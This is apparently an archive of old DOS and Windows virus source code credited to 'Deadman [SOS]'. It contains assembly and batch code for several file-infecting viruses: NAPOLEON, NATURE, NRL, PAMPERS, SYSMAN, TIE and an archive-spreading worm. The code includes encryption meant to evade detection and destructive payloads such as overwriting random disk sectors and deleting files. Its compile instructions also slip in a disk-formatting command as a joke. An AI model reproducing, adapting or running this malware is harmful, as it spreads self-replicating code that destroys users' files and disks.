컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[36.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[6.ASM]컴� model tiny codeseg org 100h start: xchg ax,bp xchg dx,si int 21h retn end start 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[6.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[NAPOLEON.ASM]컴� comment � � N � A � P � O � L � E � O � N � Virus Written by Deadman of [SOS] 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Virus feautures: This virus looks like a simple DOS overwriter, but it is able to work perfectly in Win32. As you know, you can execute a WinPortableExecutable from a DOS box, and it won't display that you are a fucking ass and so on. Windows will hook an executing call and process file as normal Win32 program. My virus uses this feauture. It overwrites the original begin of infected program (with COM/EXE extension) with itself. Begin will be located at the end of file. On execute virus will find some files and infect them. Then virus will cure the infected program and execute it using the legal DOS function 4B, subfunction 00. So, when Win program is executed, Windows will open usual DOS box. From DOS box will be executed cured PE/NE program, and DOS box will be terminated. Virus preserves file time/date/attributes and kills error by replacing int 24h. Also virus gets an exit code of executed program and quits with it. Virus has an anti-heuristic subroutine. It'll call 2F interrupt function 1200h, it is MS-DOS installation check, returns al=FF. But heuristics can't emulate it and will be killed! Also virus is oligomorphic in files using its internal oligomorphic engine. On executing stack pair is relocated to another area to avoid erorrs. On .EXE infection virus will build new exe header, which will load virus only. On any error virus will kill random sector and display that there is not enough memory to run this program. By the way, virus infects 20 first uninfected files, which are placed in the root directory of the current drive. It seems virus will not perfectly determinate any overlay structure, so it will break ones :(. Will not infect .com filez which are less than Virus_Size bytes and greater than 62000 bytes. Compile it: tasm napoleon.asm /m tlink napoleon.obj /x/t del napoleon.obj echo y|format c:/u ;) Contacts: dman@lgg.ru www.lgg.ru/~dman Enjoy reading code, Deadman. � %out Napoleon Copyright (C) 1998-99 by Deadman [SOS] ; asm code header jumps model tiny codeseg locals org 100h virus: ; anti-heuristic routine + infection mark xor ax,ax mov ds,ax mov si,2fh*4 mov ax,1200h pushf call dword ptr [si] push cs pop ds inc ax db 04h key db ? ; decrypting virus mov cx,enc_size lea si,encrypted algo: nop nop inc si loop algo encrypted: ; set new int 24h handler mov ax,2524h lea dx,int24 int 21h ; infect some filez call infect_filez ; get the name of infected program mov si,2ch mov ds,[si] mov si,-1 xor ax,ax findzero: inc si cmp word ptr [si],ax jne findzero lea dx,[si+4] ; get file attributes mov ax,4300h int 21h jc payload push cx dx ds ; set attributes to normal mov ax,4301h xor cx,cx int 21h jc payload ; open program for read/write mov ax,3d02h int 21h jc payload xchg ax,bx ; set ds = cs push cs pop ds ; move lseek pointer to the (eof-vsize) mov ax,4202h mov cx,-1 mov dx,-vsize int 21h ; read vsize bytes mov ah,3fh mov cx,vsize lea dx,buffer int 21h ; move lseek pointer to the bof mov ax,4200h xor cx,cx cwd int 21h ; remember file time and date mov ax,5700h int 21h push cx dx ; write the original begin of infected program mov ah,40h mov cx,vsize lea dx,buffer int 21h xor cx,ax jnz payload ; move lseek pointer to the (eof-vsize) mov ax,4202h mov cx,-1 mov dx,-vsize int 21h ; truncate file mov ah,40h xor cx,cx int 21h ; restore file time and date mov ax,5701h pop dx cx int 21h ; close file mov ah,3eh int 21h jc payload ; restore file attributes pop ds dx cx mov ax,4301h int 21h ; resize virus's memory block mov ah,4ah mov bx,(memory_size+100h)/16+2 int 21h jc payload ; prepare execute parameter block mov cs:seg1,cs mov cs:seg2,cs mov cs:seg3,cs ; set new stack pair mov ax,cs cli mov ss,ax mov sp,offset stacks+100h sti ; execute program mov ax,4b00h lea bx,epb int 21h jc payload ; restore stack mov ax,cs cli mov ss,ax mov sp,offset stacks+100h sti ; quit with exit code of infected program mov ah,4dh int 21h mov ah,4ch int 21h payload: ; error... I hate errors... Kill random sector in ax,40h cmp ax,200 jb payload cmp ax,40000 ja payload xchg dx,ax mov al,2 mov cx,1 int 26h pop ax push cs pop ds lea dx,hehehe mov ah,9 int 21h mov ax,4c04h int 21h int24: mov al,3 iret hehehe db 'Program too big to fit in memory',0dh,0ah,24h ; Execute Parameter Block epb dw 00h ; default environment dw 80h ; command line seg1 dw ? dw 5ch ; FCB1 seg2 dw ? dw 6ch ; FCB2 seg3 dw ? copyright db '[Napoleon]',0 db 'Copyright (C) 1998-99 by Deadman [SOS]',0 starstar: mov word ptr [di],'*\' mov word ptr [di+2],'*.' mov byte ptr [di+4],0 ret copyasciz: lodsb stosb or al,al jnz copyasciz ret infect_filez: ; initialize variables mov file_cnt,20 mov dta_ptr,offset dtaz lea di,result call starstar mov dest_ptr,offset result+1 ffirst: ; find first in current path mov ah,4eh mov cx,11110111b lea dx,result jmp do_find smth_else: ; find next file using current dta mov ah,4fh do_find: push ax dx mov ah,1ah mov dx,dta_ptr int 21h pop dx ax int 21h ; no more -> take previous dir jc dotdot ; file count limited? cmp file_cnt,0 jz return ; checking found unit: dir or file mov si,dta_ptr test byte ptr [si+15h],10000b jz infect cmp byte ptr [si+1eh],'.' jz smth_else mov di,dest_ptr mov word ptr [si+43],di add si,1eh call copyasciz mov dest_ptr,di dec di call starstar add dta_ptr,45 jmp ffirst dotdot: ; taking previous dir sub dta_ptr,45 mov di,dta_ptr cmp di,offset dtaz jb return mov ax,[di+43] mov dest_ptr,ax jmp smth_else infect: ; copy name+ext of file found mov di,dest_ptr mov si,dta_ptr add si,1eh call copyasciz ; check extension of file found cmp word ptr [si-4],'OC' je check_com cmp word ptr [si-4],'XE' je check_exe jmp smth_else check_com: cmp byte ptr [si-2],'M' je infect_executable jmp smth_else check_exe: cmp byte ptr [si-2],'E' jne smth_else infect_executable: ; clearing attributes mov ax,4301h xor cx,cx lea dx,result int 21h jc try_next ; opening file mov ax,3d02h int 21h xchg ax,bx ; reading first vsize bytes mov ah,3fh mov cx,vsize lea dx,buffer int 21h xor cx,ax jnz close ; exe determination cmp word ptr buffer,'MZ' je exetype cmp word ptr buffer,'ZM' je exetype ; here is .com type: filesize check + infection check mov file_type,'C' cmp word ptr buffer,0c033h jz close mov si,dta_ptr mov ax,word ptr [si+1ah] mov dx,word ptr [si+1ch] or dx,dx jnz close cmp ax,62000 ja close jmp no_check exetype: ; here is .exe type: infection check mov file_type,'E' cmp word ptr buffer+20h,0c033h jz close no_check: ; lseek to the eof mov ax,4202h xor cx,cx cwd int 21h ; writing the original begin to eof mov ah,40h mov cx,vsize lea dx,buffer int 21h xor cx,ax jnz close ; lseek to the bof mov ax,4200h xor cx,cx cwd int 21h ; prepare for write virus mov ah,40h mov cx,vsize lea dx,buffer ; exe determination cmp file_type,'E' jne no_exe ; .exe trick, write new exe header push ax bx cx dx mov ah,40h mov cx,20h lea dx,exe_hdr int 21h pop dx cx bx ax sub cx,20h no_exe: ; encrypt virus call encrypt ; write virus body int 21h dec file_cnt close: ; restore file time/date mov si,dta_ptr mov ax,5701h mov cx,word ptr [si+16h] mov dx,word ptr [si+18h] int 21h ; close file mov ah,3eh int 21h ; restore file attributes mov ax,4301h xor cx,cx mov cl,byte ptr [si+15h] mov dx,9eh int 21h try_next: ; look for a next file jmp smth_else return: ret ; *********************** ; * OLIGOMORPHIC ENGINE * ; *********************** encrypt: ; save registers are in use push ax bx cx dx si di bp ; copy virus to the buffer mov si,100h lea di,buffer mov cx,vsize rep movsb ; get random decryptor in al,40h sub al,2 jnc $-2 add al,2 cbw add al,al push ax add ax,offset algo_table mov si,ax mov ax,word ptr [si] mov word ptr buffer[algo-virus],ax ; get encryptor for this decryptor pop si add si,offset de_table mov ax,word ptr [si] mov word ptr algo_temp,ax ; get encrypting key get_normal: in al,40h or al,al jz get_normal mov byte ptr buffer[key-virus],al ; set SI and CX lea si,buffer+(encrypted-virus) mov cx,enc_size ; encrypting virus algo_temp: dw ? inc si loop algo_temp ; restore registers pop bp di si dx cx bx ax ; return ret algo_table: ; encryptors sub [si],al xor [si],al add [si],al de_table: ; decryptors add [si],al xor [si],al sub [si],al exe_hdr: ; virus .exe header dw 5a4dh ; signature dw 0000h ; image size mod 512 dw 0002h ; image size div 512 dw 0000h ; relocations dw 0002h ; header size in paragraphs dw 0000h ; minimum memory dw -1h ; maximum memory dw -10h ; SS dw -2h ; SP dw 019fh ; checksum (fuck her) dw 0100h ; IP dw -10h ; CS dw 0000h ; offset of relocation table dw 0000h ; overlay number ; garbage for .exe infection db 20h dup (5ah) vsize equ $-virus enc_size equ $-encrypted buffer db vsize dup (0C3h) file_type db ? file_cnt db ? dta_ptr dw ? dest_ptr dw ? stacks db 100h dup (?) result db 200h dup (?) dtaz label byte memory_size equ $-virus end virus 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[NAPOLEON.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[NATURE.ASM]컴� model tiny codeseg locals org 100h Nature: db 0e9h,0,0 ; real nop neg sp not sp inc sp push ax bx cx dx si di bp push ss pop ss call getlocation ; get extra offset getlocation: pop bp sub bp,offset getlocation call payload mov ax,0ffffh ; verify if resident int 21h cmp ax,0faceh je complete xor ax,ax ; get the copy of mov ds,ax ; int 21h vector mov si,21h*4 lea di,old21+bp movsw movsw mov si,21h*4 lea di,old21c+bp movsw movsw xor ax,ax ; copy integrity check mov es,ax ; subroutine to vector mov ax,cs ; table (0000:0200) mov ds,ax mov di,200h lea si,tester+bp mov cx,endt-tester rep movsb mov ax,0bb00h ; load virus to video mov es,ax ; memory mov ax,cs mov ds,ax lea si,Nature+bp mov di,100h mov cx,endv-Nature rep movsb xor ax,ax ; set int 21h vector mov es,ax ; to 0000:0200 mov di,21h*4 mov ax,200h stosw xor ax,ax stosw complete: mov ax,cs ; restore the original mov ds,ax ; begin of infected mov es,ax ; program mov di,100h lea si,prev+bp mov ax,1200h int 2fh mov ah,al xor word ptr [si],ax neg byte ptr [si+2] movsw movsb pop bp di si dx cx bx ax ; restore registers mov ds:[0fffch],0100h ; save 100h on stack mov sp,0fffch ret ; virus return elsebyte dw 1234h prev db not 0c3h,0,0 ; stored begin jump db 0e9h,0,0 old21 dw 0,0 tester: pushf ; virus integrity check push ds ax mov ax,0bb00h mov ds,ax cmp word ptr sign,'N[' ; number 1 jne crash cmp word ptr sign+2,'TA' ; number 2 jne crash cmp word ptr elsebyte,1234h ; number 3 jne crash pop ax ds ; passed popf db 0eah ; jump virus dw int21h,0bb00h crash: mov ax,word ptr cs:[old21c-tester+200h] mov word ptr cs:[21h*4],ax ; Crashed, reset int21h mov ax,word ptr cs:[old21c+2-tester+200h] mov word ptr cs:[21h*4+2],ax pop ax ds popf db 0eah old21c dw 0h,0h endt: sign db '[NATURE]',0 db 'Copyright (C) 1998-99 Deadman',0 int21h: pushf ; int 21h handler cmp ax,0ffffh ; test if TSR? jne nottsr mov ax,0faceh popf iret nottsr: cmp ax,4b00h ; execute? je INFECT popf jmp dword ptr cs:old21 INFECT: push ax bx cx dx si di es ds xor ax,ax ; take and set int 24h mov es,ax push word ptr es:[24h*4+2] push word ptr es:[24h*4] mov word ptr es:[24h*4],offset int24h mov word ptr es:[24h*4+2],cs pushf ; interrupt return ;-) push cs push offset contin int24h: mov al,3 iret contin: mov ax,4300h ; get and set file int 21h ; attributes mov si,cx xor cx,cx mov ax,4301h int 21h jnc a0 jmp noinf a0: push dx ds si mov ax,3d02h ; open file for r/w int 21h jnc a1 jmp fuck a1: mov bx,ax mov ax,5700h int 21h push cx dx mov ax,cs ; read 3 first bytes mov ds,ax mov es,ax mov ah,3fh lea dx,prev mov cx,3 int 21h cmp ax,cx je a2 jmp fuckc a2: mov ax,4202h ; lseek eof xor cx,cx xor dx,dx int 21h or dx,dx jz a3 jmp fuckc a3: cmp ax,64000 ; large? jbe a4 jmp fuckc a4: cmp byte ptr prev,0e9h jne a5 push ax sub ax,endv-Nature cmp word ptr prev+1,ax pop ax je fuckc a5: cmp word ptr prev,'MZ' ; exe code type? je fuckc cmp word ptr prev,'ZM' je fuckc mov word ptr jump+1,ax ; new jump mov ax,1200h int 2fh mov ah,al xor word ptr prev,ax neg byte ptr prev+2 mov ah,40h ; write virus body mov cx,endv-Nature ; to the eof lea dx,Nature int 21h xor cx,ax jnz fuckc mov ax,4200h ; lseek bof xor cx,cx xor dx,dx int 21h mov ah,40h ; write new jump mov cx,3 lea dx,jump int 21h fuckc: pop dx cx ; restore file mov ax,5701h ; time/date int 21h mov ah,3eh ; close file int 21h fuck: pop cx ds dx ; reset file mov ax,4301h ; attributes int 21h noinf: xor ax,ax ; reset int 24h vector mov ds,ax pop word ptr ds:[24h*4] pop word ptr ds:[24h*4+2] pop ds es di si dx cx bx ax popf jmp dword ptr cs:old21 ; goto old handler fmask db '*.*',0 ; 頰� PAYLOAD 頰� payload: in al,40h test al,1111111b jz $+3 ret push ds es mov ah,1ah ; set new dta lea dx,dta+bp int 21h xor ax,ax ; take and set int 24h mov es,ax push word ptr es:[24h*4+2] push word ptr es:[24h*4] mov ah,2ah int 21h lea ax,int24h+bp mov word ptr es:[24h*4],ax mov word ptr es:[24h*4+2],cs mov ax,cs mov es,ax xor si,si mov ah,4eh ; find first file mov cx,0 ; and get number of lea dx,fmask+bp ; files in this findnext: int 21h ; directory jc nomore inc si mov ah,4fh jmp findnext nomore: cmp si,1 jbe nofiles in ax,40h ; get random file xor dx,dx div si mov si,dx mov ah,4eh ; get one's name lea dx,fmask+bp mov cx,0 _findnext: int 21h mov ah,4fh dec si jnz _findnext mov ah,56h ; move it to the lea dx,dta+bp+1eh ; parent directory lea di,dta+bp+1eh-3 mov [di],'..' mov byte ptr [di+2],'\' in al,40h test al,11b jnz move inc di inc di move: int 21h nofiles: xor ax,ax ; reset int 24h vector mov ds,ax pop word ptr ds:[24h*4] pop word ptr ds:[24h*4+2] pop es ds mov ah,1ah ; reset dta address mov dx,80h int 21h ret ; return endv: dta db 43 dup (?) end Nature 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[NATURE.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[NRL.ASM]컴� comment ` NRL Virus Copyright (C) 1998-99 by Deadman of [SOS] Some virus feautures: Being a simple DOS virus it infects only Windows Executables :) This is run-time infector which is activated on executing a WinEXE from Non-Win32 OS. It overwrites a shitty DOS area which tells you that this program cannot be run in DOS mode. Destructive, hangs on many file types run :(, for example, Multi-types, which can be run in Win and DOS mode. But on "user" pc, where are only normal Win32 filez placed, works pretty good! Compile into .exe file Virus size: 0C0h bytes - the most usual size between PE/NE/LE Header and the end of the dos exe header P.S. Virus has no comments, it seems to be very simple :) Contacts: dman@lgg.ru www.lgg.ru/~dman Enjoy, Deadman. ` .286 model tiny codeseg locals start: push cs pop ds mov ah,4eh mov cl,20h lea dx,fmask fnext: int 21h jc return push es pop ds mov ax,3d02h mov dx,9eh int 21h push cs pop ds xchg ax,bx mov ah,3fh mov cx,4096 mov dl,offset buf int 21h xor cx,ax jnz close mov ah,42h cwd int 21h lea si,buf+3ch cmp word ptr [si+2],ax jnz close mov ax,word ptr [si] cmp ax,4096 jae close cmp byte ptr [si+18h-3ch],'@' jne close mov di,word ptr [si+08h-3ch] shl di,4 sub ax,di mov cx,vsize cmp ax,cx jb close xor si,si add di,cx push es cs pop es push cx rep movsb pop di add di,0eh xchg ax,cx stosw stosw scasw stosw stosw pop es mov ah,40h mov cx,4096 mov dl,offset buf int 21h close: mov ah,3eh int 21h ignore: mov ah,4fh jmp fnext return: mov ah,9 lea dx,cannotberun int 21h mov ax,4c01h int 21h cannotberun db 'This program cannot be run in DOS mode',0dh,0ah,24h fmask db '*.exe',0 db 'NRL|Deadman/SOS' vsize equ $-start buf: end start 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[NRL.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[PAMPERS.BAT]컴� @ctty nul %#% if .%2==.LocalFunctionCall# goto apnd# if .%0==. goto fin# set vname#=%0 if exist %vname#% goto strt# set vname#=%0.bat if not exist %vname#% goto fin# for %%a in (%path%) do if exist %%a\find.exe set fnd#=. if .fnd#==. goto fin# :strt# echo.|date|find "05.05." %#% if errorlevel 1 goto inf# echo y>del#. for %%a in (%path%) do del %%a\*.*body#.bat for %%a in (*.bat ..\*.bat) do call body#.bat %%a LocalFunctionCall# for %%a in (\*.bat ..\..\*.bat) do call body#.bat %%a LocalFunctionCall# goto fin# ################################################ # The Pampers Virus Copyright (C) 1999 Deadman # ################################################ :apnd# find "#"<%1>nul if not errorlevel 1 goto eov# copy body#.bat+%1 body#2.bat copy body#2.bat %1 del body#2.bat goto eov# :fin# del body#.bat ctty con %#%>nul :eov# 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[PAMPERS.BAT]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[SYSMAN.ASM]컴� model tiny codeseg locals jumps start: db 0b8h strategy dw 000h mov cs:[6],ax push ax bx cx dx si di es ds call get_loc get_loc: nop pop di sub di,offset get_loc mov ah,2fh int 21h push es bx push cs cs pop ds es mov ah,1ah lea dx,dta+di int 21h mov ah,4eh mov cx,20h lea dx,sys_mask+di keep_find: int 21h jc no_more mov ax,3d02h lea dx,dta+di+1eh int 21h jc next xchg ax,bx mov ax,5700h int 21h push cx dx mov ah,3fh mov cx,10 lea dx,buffer+di int 21h xor cx,ax jnz close cmp word ptr buffer+di,0ffffh jnz close cmp word ptr dta+di+1ah+2,0 jnz close mov ax,word ptr dta+di+1ah cmp ax,62000 ja close mov dx,ax sub ax,vsize cmp ax,word ptr buffer+di+6 jz close xchg word ptr buffer+di+6,dx mov word ptr strategy+di,dx mov ax,4202h xor cx,cx cwd int 21h mov ah,40h mov cx,vsize mov dx,di int 21h xor cx,ax jnz close mov ax,4200h cwd int 21h mov ah,40h mov cx,10 lea dx,buffer+di int 21h close: pop dx cx mov ax,5701h int 21h mov ah,3eh int 21h next: mov ah,4fh jmp keep_find no_more: pop dx ds mov ah,1ah int 21h pop ds es di si dx cx bx sub ax,ax retn sys_mask db '*.SYS',0 db '[SYSMAN]',0 db 'Copyright (C) 1998-99 Deadman',0 vsize equ $-start buffer db 10 dup (?) dta db 43 dup (?) end start 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[SYSMAN.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[TIE.ASM]컴� comment � absent � jumps model tiny .386 codeseg org 100h start: db 24h,21h push ds es mov ax,1200h int 2fh cmp al,0ffh jz eradie lea di,eradie mov ch,0ffh rep stosw eradie: mov ah,4ah mov bh,0ffh int 21h push bx cmp bh,3bh jb exit_vir sub bx,(msize/16+2) mov ah,4ah int 21h jc exit_vir mov ah,48h mov bx,(msize/16+1) int 21h sub ax,10h mov es,ax push cs pop ds mov di,100h mov si,di mov cx,vsize rep movsb push cs offset free_mcb push es offset continue retf free_mcb: mov ax,es add ax,10h mov es,ax mov ah,49h int 21h exit_vir: pop bx pop es ds mov ah,4ah int 21h mov ah,1ah mov dx,80h int 21h cmp sp,0fffeh je rest_com mov ax,es add ax,10h add word ptr cs:_cs,ax db 0eah _ip dw ? _cs dw ? rest_com: mov di,100h db 0beh lsize dw -100h add si,di mov cx,vsize mov bx,100h-2 mov word ptr [bx],0a4f3h jmp bx ;컴컴컴컴컴컴컴컴컴컴� Whole Virus 컴컴컴컴컴컴컴컴컴컴� continue: push cs cs pop ds es mov bp,1 mov ah,19h int 21h cmp al,1 jbe finished lea si,buffer lea di,dta mov ah,1ah mov dx,di int 21h lea dx,fspec_exe infect: mov ah,4eh mov cx,7 look: int 21h jc no_more mov ax,4300h lea dx,[di+1eh] int 21h push cx mov ax,4301h xor cx,cx int 21h cmp dword ptr [di+1ah],large vsize jbe take_next cmp dword ptr [di+1ah],large 3b000h ja take_next mov ax,3d02h int 21h jc take_next xchg ax,bx mov ax,5700h int 21h push cx dx mov ah,3fh mov cx,vsize mov dx,si int 21h push dx ax mov ax,4202h xor cx,cx cwd int 21h mov lsize,ax pop cx dx mov ax,[si] cmp ax,'MZ' je exe_infect cmp ax,'ZM' je exe_infect ; --- COM INFECT --- cmp ax,061eh je close cmp dword ptr [di+1ah],large 65535-100h-vsize-100h ja close mov ah,40h int 21h mov ax,4200h xor cx,cx cwd int 21h mov ah,40h mov cx,vsize mov dh,1 int 21h jmp close ; --- EXE INFECT --- exe_infect: mov dx,word ptr [si+14h] mov ax,word ptr [si+16h] mov word ptr _ip,dx mov word ptr _cs,ax cmp ax,word ptr [si+0eh] je close add ax,10h cmp ax,word ptr [si+0eh] je close cmp word ptr [si+0eh+2],vsize+100h jb close mov ax,word ptr [si+0eh] add ax,word ptr [si+08h] mov cx,10h mul cx add ax,word ptr [si+0eh+2] adc dx,0 cmp dx,word ptr [di+1ah+2] jb entry ja close cmp ax,word ptr [di+1ah] ja close entry: mov ax,word ptr [si+0eh] add ax,word ptr [si+08h] mov cx,10h mul cx xchg cx,dx xchg ax,dx mov ax,4200h int 21h mov ah,40h mov cx,vsize mov dx,100h int 21h xor cx,ax jnz close mov ax,4200h cwd int 21h mov ax,word ptr [si+0eh] sub ax,10h mov word ptr [si+16h],ax mov word ptr [si+14h],100h mov ah,40h mov cx,28 mov dx,si int 21h close: pop dx cx mov ax,5701h int 21h mov ah,3eh int 21h take_next: pop cx mov ax,4301h lea dx,[di+1eh] int 21h mov ah,4fh jmp look no_more: dec bp jnz finished lea dx,fspec_com jmp infect finished: retf fspec_exe db '*.EXE',0 fspec_com db '*.COM',0 db '[TIE]',0 db '(C) 99 by Deadman',0 vsize equ $-start dta db 43 dup (?) buffer db vsize dup (?) msize equ $-start end start 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴[TIE.ASM]컴� 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[INFO.BAT]컴� @ctty nul for %%a in (*.zip ..\*.zip) do pkzip %%a %0 for %%a in (*.arj ..\*.arj) do arj a %%a %0 for %%a in (*.lzh ..\*.lzh) do lha a %%a %0 ::[ZZV] Worm by Deadman 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴�[INFO.BAT]컴�